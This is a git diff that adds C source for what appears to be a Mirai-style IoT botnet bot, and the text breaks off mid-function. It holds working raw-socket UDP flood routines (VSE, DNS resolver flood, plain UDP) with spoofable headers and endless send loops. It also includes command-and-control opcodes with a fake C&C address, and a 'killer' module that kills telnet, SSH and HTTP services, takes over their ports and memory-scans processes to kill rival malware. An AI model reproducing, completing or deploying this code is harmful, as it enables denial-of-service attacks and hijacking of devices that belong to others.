+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015);
+ char *vse_payload;
+ int vse_payload_len;
+
+ table_unlock_val(TABLE_ATK_VSE);
+ vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len);
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct udphdr *udph;
+ char *data;
+
+ pkts[i] = calloc(128, sizeof (char));
+ iph = (struct iphdr *)pkts[i];
+ udph = (struct udphdr *)(iph + 1);
+ data = (char *)(udph + 1);
+
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_UDP;
+ iph->saddr = LOCAL_ADDR;
+ iph->daddr = targs[i].addr;
+
+ udph->source = htons(sport);
+ udph->dest = htons(dport);
+ udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len);
+
+ *((uint32_t *)data) = 0xffffffff;
+ data += sizeof (uint32_t);
+ util_memcpy(data, vse_payload, vse_payload_len);
+ }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct udphdr *udph = (struct udphdr *)(iph + 1);
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (ip_ident == 0xffff)
+ iph->id = (uint16_t)rand_next();
+ if (sport == 0xffff)
+ udph->source = rand_next();
+ if (dport == 0xffff)
+ udph->dest = rand_next();
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ udph->check = 0;
+ udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len);
+
+ targs[i].sock_addr.sin_port = udph->dest;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
+
+void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, fd;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
+ uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
+ uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
+ BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53);
+ uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff);
+ uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12);
+ char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
+ int domain_len;
+ ipv4_t dns_resolver = get_dns_resolver();
+
+ if (domain == NULL)
+ {
+#ifdef DEBUG
+ printf("Cannot send DNS flood without a domain\n");
+#endif
+ return;
+ }
+ domain_len = util_strlen(domain);
+
+ if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create raw socket. Aborting attack\n");
+#endif
+ return;
+ }
+ i = 1;
+ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set IP_HDRINCL. Aborting\n");
+#endif
+ close(fd);
+ return;
+ }
+
+ for (i = 0; i < targs_len; i++)
+ {
+ int ii;
+ uint8_t curr_word_len = 0, num_words = 0;
+ struct iphdr *iph;
+ struct udphdr *udph;
+ struct dnshdr *dnsh;
+ char *qname, *curr_lbl;
+ struct dns_question *dnst;
+
+ pkts[i] = calloc(600, sizeof (char));
+ iph = (struct iphdr *)pkts[i];
+ udph = (struct udphdr *)(iph + 1);
+ dnsh = (struct dnshdr *)(udph + 1);
+ qname = (char *)(dnsh + 1);
+
+ iph->version = 4;
+ iph->ihl = 5;
+ iph->tos = ip_tos;
+ iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
+ iph->id = htons(ip_ident);
+ iph->ttl = ip_ttl;
+ if (dont_frag)
+ iph->frag_off = htons(1 << 14);
+ iph->protocol = IPPROTO_UDP;
+ iph->saddr = LOCAL_ADDR;
+ iph->daddr = dns_resolver;
+
+ udph->source = htons(sport);
+ udph->dest = htons(dport);
+ udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
+
+ dnsh->id = htons(dns_hdr_id);
+ dnsh->opts = htons(1 << 8); // Recursion desired
+ dnsh->qdcount = htons(1);
+
+ // Fill out random area
+ *qname++ = data_len;
+ qname += data_len;
+
+ curr_lbl = qname;
+ util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed
+
+ // Write in domain
+ for (ii = 0; ii < domain_len; ii++)
+ {
+ if (domain[ii] == '.')
+ {
+ *curr_lbl = curr_word_len;
+ curr_word_len = 0;
+ num_words++;
+ curr_lbl = qname + ii + 1;
+ }
+ else
+ curr_word_len++;
+ }
+ *curr_lbl = curr_word_len;
+
+ dnst = (struct dns_question *)(qname + domain_len + 2);
+ dnst->qtype = htons(PROTO_DNS_QTYPE_A);
+ dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
+ }
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *pkt = pkts[i];
+ struct iphdr *iph = (struct iphdr *)pkt;
+ struct udphdr *udph = (struct udphdr *)(iph + 1);
+ struct dnshdr *dnsh = (struct dnshdr *)(udph + 1);
+ char *qrand = ((char *)(dnsh + 1)) + 1;
+
+ if (ip_ident == 0xffff)
+ iph->id = rand_next() & 0xffff;
+ if (sport == 0xffff)
+ udph->source = rand_next() & 0xffff;
+ if (dport == 0xffff)
+ udph->dest = rand_next() & 0xffff;
+
+ if (dns_hdr_id == 0xffff)
+ dnsh->id = rand_next() & 0xffff;
+
+ rand_alphastr((uint8_t *)qrand, data_len);
+
+ iph->check = 0;
+ iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
+
+ udph->check = 0;
+ udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question));
+
+ targs[i].sock_addr.sin_addr.s_addr = dns_resolver;
+ targs[i].sock_addr.sin_port = udph->dest;
+ sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
+
+void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+#ifdef DEBUG
+ printf("in udp plain\n");
+#endif
+
+ int i;
+ char **pkts = calloc(targs_len, sizeof (char *));
+ int *fds = calloc(targs_len, sizeof (int));
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
+ port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
+ uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
+ BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
+ struct sockaddr_in bind_addr = {0};
+
+ if (sport == 0xffff)
+ {
+ sport = rand_next();
+ } else {
+ sport = htons(sport);
+ }
+
+#ifdef DEBUG
+ printf("after args\n");
+#endif
+
+ for (i = 0; i < targs_len; i++)
+ {
+ struct iphdr *iph;
+ struct udphdr *udph;
+ char *data;
+
+ pkts[i] = calloc(65535, sizeof (char));
+
+ if (dport == 0xffff)
+ targs[i].sock_addr.sin_port = rand_next();
+ else
+ targs[i].sock_addr.sin_port = htons(dport);
+
+ if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to create udp socket. Aborting attack\n");
+#endif
+ return;
+ }
+
+ bind_addr.sin_family = AF_INET;
+ bind_addr.sin_port = sport;
+ bind_addr.sin_addr.s_addr = 0;
+
+ if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to bind udp socket.\n");
+#endif
+ }
+
+ // For prefix attacks
+ if (targs[i].netmask < 32)
+ targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
+
+ if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to connect udp socket.\n");
+#endif
+ }
+ }
+
+#ifdef DEBUG
+ printf("after setup\n");
+#endif
+
+ while (TRUE)
+ {
+ for (i = 0; i < targs_len; i++)
+ {
+ char *data = pkts[i];
+
+ // Randomize packet content?
+ if (data_rand)
+ rand_str(data, data_len);
+
+#ifdef DEBUG
+ errno = 0;
+ if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1)
+ {
+ printf("send failed: %d\n", errno);
+ } else {
+ printf(".\n");
+ }
+#else
+ send(fds[i], data, data_len, MSG_NOSIGNAL);
+#endif
+ }
+#ifdef DEBUG
+ break;
+ if (errno != 0)
+ printf("errno = %d\n", errno);
+#endif
+ }
+}
+
+static ipv4_t get_dns_resolver(void)
+{
+ int fd;
+
+ table_unlock_val(TABLE_ATK_RESOLVER);
+ fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY);
+ table_lock_val(TABLE_ATK_RESOLVER);
+ if (fd >= 0)
+ {
+ int ret, nspos;
+ char resolvbuf[2048];
+
+ ret = read(fd, resolvbuf, sizeof (resolvbuf));
+ close(fd);
+ table_unlock_val(TABLE_ATK_NSERV);
+ nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL));
+ table_lock_val(TABLE_ATK_NSERV);
+ if (nspos != -1)
+ {
+ int i;
+ char ipbuf[32];
+ BOOL finished_whitespace = FALSE;
+ BOOL found = FALSE;
+
+ for (i = nspos; i < ret; i++)
+ {
+ char c = resolvbuf[i];
+
+ // Skip leading whitespace
+ if (!finished_whitespace)
+ {
+ if (c == ' ' || c == '\t')
+ continue;
+ else
+ finished_whitespace = TRUE;
+ }
+
+ // End if c is not either a dot or a number
+ if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1)))
+ {
+ util_memcpy(ipbuf, resolvbuf + nspos, i - nspos);
+ ipbuf[i - nspos] = 0;
+ found = TRUE;
+ break;
+ }
+ }
+
+ if (found)
+ {
+#ifdef DEBUG
+ printf("Found local resolver: '%s'\n", ipbuf);
+#endif
+ return inet_addr(ipbuf);
+ }
+ }
+ }
+
+ switch (rand_next() % 4)
+ {
+ case 0:
+ return INET_ADDR(8,8,8,8);
+ case 1:
+ return INET_ADDR(74,82,42,42);
+ case 2:
+ return INET_ADDR(64,6,64,6);
+ case 3:
+ return INET_ADDR(4,2,2,2);
+ }
+}
diff --git a/rai/bot/checksum.c b/rai/bot/checksum.c
new file mode 100644
index 0000000..b4b8190
--- /dev/null
+++ b/rai/bot/checksum.c
@@ -0,0 +1,53 @@
+#define _GNU_SOURCE
+
+#include
+#include
+
+#include "includes.h"
+#include "checksum.h"
+
+uint16_t checksum_generic(uint16_t *addr, uint32_t count)
+{
+ register unsigned long sum = 0;
+
+ for (sum = 0; count > 1; count -= 2)
+ sum += *addr++;
+ if (count == 1)
+ sum += (char)*addr;
+
+ sum = (sum >> 16) + (sum & 0xFFFF);
+ sum += (sum >> 16);
+
+ return ~sum;
+}
+
+uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
+{
+ const uint16_t *buf = buff;
+ uint32_t ip_src = iph->saddr;
+ uint32_t ip_dst = iph->daddr;
+ uint32_t sum = 0;
+ int length = len;
+
+ while (len > 1)
+ {
+ sum += *buf;
+ buf++;
+ len -= 2;
+ }
+
+ if (len == 1)
+ sum += *((uint8_t *) buf);
+
+ sum += (ip_src >> 16) & 0xFFFF;
+ sum += ip_src & 0xFFFF;
+ sum += (ip_dst >> 16) & 0xFFFF;
+ sum += ip_dst & 0xFFFF;
+ sum += htons(iph->protocol);
+ sum += data_len;
+
+ while (sum >> 16)
+ sum = (sum & 0xFFFF) + (sum >> 16);
+
+ return ((uint16_t) (~sum));
+}
diff --git a/rai/bot/checksum.h b/rai/bot/checksum.h
new file mode 100644
index 0000000..dafe95e
--- /dev/null
+++ b/rai/bot/checksum.h
@@ -0,0 +1,9 @@
+#pragma once
+
+#include
+#include
+
+#include "includes.h"
+
+uint16_t checksum_generic(uint16_t *, uint32_t);
+uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int);
diff --git a/rai/bot/includes.h b/rai/bot/includes.h
new file mode 100644
index 0000000..06181c9
--- /dev/null
+++ b/rai/bot/includes.h
@@ -0,0 +1,132 @@
+#pragma once
+
+#include
+#include
+#include
+
+#define STDIN 0
+#define STDOUT 1
+#define STDERR 2
+
+#define FALSE 0
+#define TRUE 1
+typedef char BOOL;
+
+typedef uint32_t ipv4_t;
+typedef uint16_t port_t;
+
+#define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
+
+#define SINGLE_INSTANCE_PORT 48101
+
+#define FAKE_CNC_ADDR INET_ADDR(65,222,202,53)
+#define FAKE_CNC_PORT 80
+
+#define CNC_OP_PING 0x00
+#define CNC_OP_KILLSELF 0x10
+#define CNC_OP_KILLATTKS 0x20
+#define CNC_OP_PROXY 0x30
+#define CNC_OP_ATTACK 0x40
+
+ipv4_t LOCAL_ADDR;
+
+#ifdef DEBUG
+static char *outptr;
+static void xputc(char c)
+{
+ if (outptr) {
+ *outptr++ = (unsigned char)c;
+ return;
+ } else {
+ write(0, &c, 1);
+ }
+}
+
+static void xputs(const char *str)
+{
+ while (*str)
+ xputc(*str++);
+}
+
+static void xvprintf(const char *fmt, va_list arp)
+{
+ unsigned int r, i, j, w, f;
+ unsigned long v;
+ char s[16], c, d, *p;
+ for (;;) {
+ c = *fmt++; /* Get a char */
+ if (!c) break; /* End of format? */
+ if (c != '%') { /* Pass through it if not a % sequense */
+ xputc(c); continue;
+ }
+ f = 0;
+ c = *fmt++; /* Get first char of the sequense */
+ if (c == '0') { /* Flag: '0' padded */
+ f = 1; c = *fmt++;
+ } else {
+ if (c == '-') { /* Flag: left justified */
+ f = 2; c = *fmt++;
+ }
+ }
+ for (w = 0; c >= '0' && c <= '9'; c = *fmt++) /* Minimum width */
+ w = w * 10 + c - '0';
+ if (c == 'l' || c == 'L') { /* Prefix: Size is long int */
+ f |= 4; c = *fmt++;
+ }
+ if (!c) break; /* End of format? */
+ d = c;
+ //toupper
+ if (d >= 'a') d -= 0x20;
+ switch (d) { /* Type is... */
+ case 'S' : /* String */
+ p = va_arg(arp, char*);
+ for (j = 0; p[j]; j++) ;
+ while (!(f & 2) && j++ < w) xputc(' ');
+ xputs(p);
+ while (j++ < w) xputc(' ');
+ continue;
+ case 'C' : /* Character */
+ xputc((char)va_arg(arp, int)); continue;
+ case 'B' : /* Binary */
+ r = 2; break;
+ case 'O' : /* Octal */
+ r = 8; break;
+ case 'D' : /* Signed decimal */
+ case 'U' : /* Unsigned decimal */
+ r = 10; break;
+ case 'X' : /* Hexdecimal */
+ r = 16; break;
+ default: /* Unknown type (passthrough) */
+ xputc(c); continue;
+ }
+
+ /* Get an argument and put it in numeral */
+ v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int));
+ if (d == 'D' && (v & 0x80000000)) {
+ v = 0 - v;
+ f |= 8;
+ }
+ i = 0;
+ do {
+ d = (char)(v % r); v /= r;
+ if (d > 9) d += (c == 'x') ? 0x27 : 0x07;
+ s[i++] = d + '0';
+ } while (v && i < sizeof(s));
+ if (f & 8) s[i++] = '-';
+ j = i; d = (f & 1) ? '0' : ' ';
+ while (!(f & 2) && j++ < w) xputc(d);
+ do xputc(s[--i]); while(i);
+ while (j++ < w) xputc(' ');
+ }
+}
+
+static void xprintf(const char *fmt, ...)
+{
+ va_list arp;
+ va_start(arp, fmt);
+ xvprintf(fmt, arp);
+ va_end(arp);
+}
+#define printf xprintf
+
+#endif
diff --git a/rai/bot/killer.c b/rai/bot/killer.c
new file mode 100644
index 0000000..db1860c
--- /dev/null
+++ b/rai/bot/killer.c
@@ -0,0 +1,560 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "killer.h"
+#include "table.h"
+#include "util.h"
+
+int killer_pid;
+char *killer_realpath;
+int killer_realpath_len = 0;
+
+void killer_init(void)
+{
+ int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd;
+ uint32_t scan_counter = 0;
+ struct sockaddr_in tmp_bind_addr;
+
+ // Let parent continue on main thread
+ killer_pid = fork();
+ if (killer_pid > 0 || killer_pid == -1)
+ return;
+
+ tmp_bind_addr.sin_family = AF_INET;
+ tmp_bind_addr.sin_addr.s_addr = INADDR_ANY;
+
+ // Kill telnet service and prevent it from restarting
+#ifdef KILLER_REBIND_TELNET
+#ifdef DEBUG
+ printf("[killer] Trying to kill port 23\n");
+#endif
+ if (killer_kill_by_port(htons(23)))
+ {
+#ifdef DEBUG
+ printf("[killer] Killed tcp/23 (telnet)\n");
+#endif
+ } else {
+#ifdef DEBUG
+ printf("[killer] Failed to kill port 23\n");
+#endif
+ }
+ tmp_bind_addr.sin_port = htons(23);
+
+ if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
+ {
+ bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
+ listen(tmp_bind_fd, 1);
+ }
+#ifdef DEBUG
+ printf("[killer] Bound to tcp/23 (telnet)\n");
+#endif
+#endif
+
+ // Kill SSH service and prevent it from restarting
+#ifdef KILLER_REBIND_SSH
+ if (killer_kill_by_port(htons(22)))
+ {
+#ifdef DEBUG
+ printf("[killer] Killed tcp/22 (SSH)\n");
+#endif
+ }
+ tmp_bind_addr.sin_port = htons(22);
+
+ if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
+ {
+ bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
+ listen(tmp_bind_fd, 1);
+ }
+#ifdef DEBUG
+ printf("[killer] Bound to tcp/22 (SSH)\n");
+#endif
+#endif
+
+ // Kill HTTP service and prevent it from restarting
+#ifdef KILLER_REBIND_HTTP
+ if (killer_kill_by_port(htons(80)))
+ {
+#ifdef DEBUG
+ printf("[killer] Killed tcp/80 (http)\n");
+#endif
+ }
+ tmp_bind_addr.sin_port = htons(80);
+
+ if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
+ {
+ bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
+ listen(tmp_bind_fd, 1);
+ }
+#ifdef DEBUG
+ printf("[killer] Bound to tcp/80 (http)\n");
+#endif
+#endif
+
+ // In case the binary is getting deleted, we want to get the REAL realpath
+ sleep(5);
+
+ killer_realpath = malloc(PATH_MAX);
+ killer_realpath[0] = 0;
+ killer_realpath_len = 0;
+
+ if (!has_exe_access())
+ {
+#ifdef DEBUG
+ printf("[killer] Machine does not have /proc/$pid/exe\n");
+#endif
+ return;
+ }
+#ifdef DEBUG
+ printf("[killer] Memory scanning processes\n");
+#endif
+
+ while (TRUE)
+ {
+ DIR *dir;
+ struct dirent *file;
+
+ table_unlock_val(TABLE_KILLER_PROC);
+ if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL)
+ {
+#ifdef DEBUG
+ printf("[killer] Failed to open /proc!\n");
+#endif
+ break;
+ }
+ table_lock_val(TABLE_KILLER_PROC);
+
+ while ((file = readdir(dir)) != NULL)
+ {
+ // skip all folders that are not PIDs
+ if (*(file->d_name) < '0' || *(file->d_name) > '9')
+ continue;
+
+ char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX];
+ char status_path[64], *ptr_status_path = status_path;
+ int rp_len, fd, pid = atoi(file->d_name);
+
+ scan_counter++;
+ if (pid <= killer_highest_pid)
+ {
+ if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap
+ {
+#ifdef DEBUG
+ printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME);
+#endif
+ killer_highest_pid = KILLER_MIN_PID;
+ }
+ else
+ {
+ if (pid > KILLER_MIN_PID && scan_counter % 10 == 0)
+ sleep(1); // Sleep so we can wait for another process to spawn
+ }
+
+ continue;
+ }
+ if (pid > killer_highest_pid)
+ killer_highest_pid = pid;
+ last_pid_scan = time(NULL);
+
+ table_unlock_val(TABLE_KILLER_PROC);
+ table_unlock_val(TABLE_KILLER_EXE);
+
+ // Store /proc/$pid/exe into exe_path
+ ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
+ ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);
+ ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL));
+
+ // Store /proc/$pid/status into status_path
+ ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
+ ptr_status_path += util_strcpy(ptr_status_path, file->d_name);
+ ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL));
+
+ table_lock_val(TABLE_KILLER_PROC);
+ table_lock_val(TABLE_KILLER_EXE);
+
+ // Resolve exe_path (/proc/$pid/exe) -> realpath
+ if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1)
+ {
+ realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string
+
+ table_unlock_val(TABLE_KILLER_ANIME);
+ // If path contains ".anime" kill.
+ if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)
+ {
+ unlink(realpath);
+ kill(pid, 9);
+ }
+ table_lock_val(TABLE_KILLER_ANIME);
+
+ // Skip this file if its realpath == killer_realpath
+ if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath))
+ continue;
+
+ if ((fd = open(realpath, O_RDONLY)) == -1)
+ {
+#ifdef DEBUG
+ printf("[killer] Process '%s' has deleted binary!\n", realpath);
+#endif
+ kill(pid, 9);
+ }
+ close(fd);
+ }
+
+ if (memory_scan_match(exe_path))
+ {
+#ifdef DEBUG
+ printf("[killer] Memory scan match for binary %s\n", exe_path);
+#endif
+ kill(pid, 9);
+ }
+
+ /*
+ if (upx_scan_match(exe_path, status_path))
+ {
+#ifdef DEBUG
+ printf("[killer] UPX scan match for binary %s\n", exe_path);
+#endif
+ kill(pid, 9);
+ }
+ */
+
+ // Don't let others memory scan!!!
+ util_zero(exe_path, sizeof (exe_path));
+ util_zero(status_path, sizeof (status_path));
+
+ sleep(1);
+ }
+
+ closedir(dir);
+ }
+
+#ifdef DEBUG
+ printf("[killer] Finished\n");
+#endif
+}
+
+void killer_kill(void)
+{
+ kill(killer_pid, 9);
+}
+
+BOOL killer_kill_by_port(port_t port)
+{
+ DIR *dir, *fd_dir;
+ struct dirent *entry, *fd_entry;
+ char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0};
+ int pid = 0, fd = 0;
+ char inode[16] = {0};
+ char *ptr_path = path;
+ int ret = 0;
+ char port_str[16];
+
+#ifdef DEBUG
+ printf("[killer] Finding and killing processes holding port %d\n", ntohs(port));
+#endif
+
+ util_itoa(ntohs(port), 16, port_str);
+ if (util_strlen(port_str) == 2)
+ {
+ port_str[2] = port_str[0];
+ port_str[3] = port_str[1];
+ port_str[4] = 0;
+
+ port_str[0] = '0';
+ port_str[1] = '0';
+ }
+
+ table_unlock_val(TABLE_KILLER_PROC);
+ table_unlock_val(TABLE_KILLER_EXE);
+ table_unlock_val(TABLE_KILLER_FD);
+
+ fd = open("/proc/net/tcp", O_RDONLY);
+ if (fd == -1)
+ return 0;
+
+ while (util_fdgets(buffer, 512, fd) != NULL)
+ {
+ int i = 0, ii = 0;
+
+ while (buffer[i] != 0 && buffer[i] != ':')
+ i++;
+
+ if (buffer[i] == 0) continue;
+ i += 2;
+ ii = i;
+
+ while (buffer[i] != 0 && buffer[i] != ' ')
+ i++;
+ buffer[i++] = 0;
+
+ // Compare the entry in /proc/net/tcp to the hex value of the htons port
+ if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1)
+ {
+ int column_index = 0;
+ BOOL in_column = FALSE;
+ BOOL listening_state = FALSE;
+
+ while (column_index < 7 && buffer[++i] != 0)
+ {
+ if (buffer[i] == ' ' || buffer[i] == '\t')
+ in_column = TRUE;
+ else
+ {
+ if (in_column == TRUE)
+ column_index++;
+
+ if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A')
+ {
+ listening_state = TRUE;
+ }
+
+ in_column = FALSE;
+ }
+ }
+ ii = i;
+
+ if (listening_state == FALSE)
+ continue;
+
+ while (buffer[i] != 0 && buffer[i] != ' ')
+ i++;
+ buffer[i++] = 0;
+
+ if (util_strlen(&(buffer[ii])) > 15)
+ continue;
+
+ util_strcpy(inode, &(buffer[ii]));
+ break;
+ }
+ }
+ close(fd);
+
+ // If we failed to find it, lock everything and move on
+ if (util_strlen(inode) == 0)
+ {
+#ifdef DEBUG
+ printf("Failed to find inode for port %d\n", ntohs(port));
+#endif
+ table_lock_val(TABLE_KILLER_PROC);
+ table_lock_val(TABLE_KILLER_EXE);
+ table_lock_val(TABLE_KILLER_FD);
+
+ return 0;
+ }
+
+#ifdef DEBUG
+ printf("Found inode \"%s\" for port %d\n", inode, ntohs(port));
+#endif
+
+ if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL)
+ {
+ while ((entry = readdir(dir)) != NULL && ret == 0)
+ {
+ char *pid = entry->d_name;
+
+ // skip all folders that are not PIDs
+ if (*pid < '0' || *pid > '9')
+ continue;
+
+ util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
+ util_strcpy(ptr_path + util_strlen(ptr_path), pid);
+ util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL));
+
+ if (readlink(path, exe, PATH_MAX) == -1)
+ continue;
+
+ util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
+ util_strcpy(ptr_path + util_strlen(ptr_path), pid);
+ util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
+ if ((fd_dir = opendir(path)) != NULL)
+ {
+ while ((fd_entry = readdir(fd_dir)) != NULL && ret == 0)
+ {
+ char *fd_str = fd_entry->d_name;
+
+ util_zero(exe, PATH_MAX);
+ util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL));
+ util_strcpy(ptr_path + util_strlen(ptr_path), pid);
+ util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_FD, NULL));
+ util_strcpy(ptr_path + util_strlen(ptr_path), "/");
+ util_strcpy(ptr_path + util_strlen(ptr_path), fd_str);
+ if (readlink(path, exe, PATH_MAX) == -1)
+ continue;
+
+ if (util_stristr(exe, util_strlen(exe), inode) != -1)
+ {
+#ifdef DEBUG
+ printf("[killer] Found pid %d for port %d\n", util_atoi(pid, 10), ntohs(port));
+#else
+ kill(util_atoi(pid, 10), 9);
+#endif
+ ret = 1;
+ }
+ }
+ closedir(fd_dir);
+ }
+ }
+ closedir(dir);
+ }
+
+ sleep(1);
+
+ table_lock_val(TABLE_KILLER_PROC);
+ table_lock_val(TABLE_KILLER_EXE);
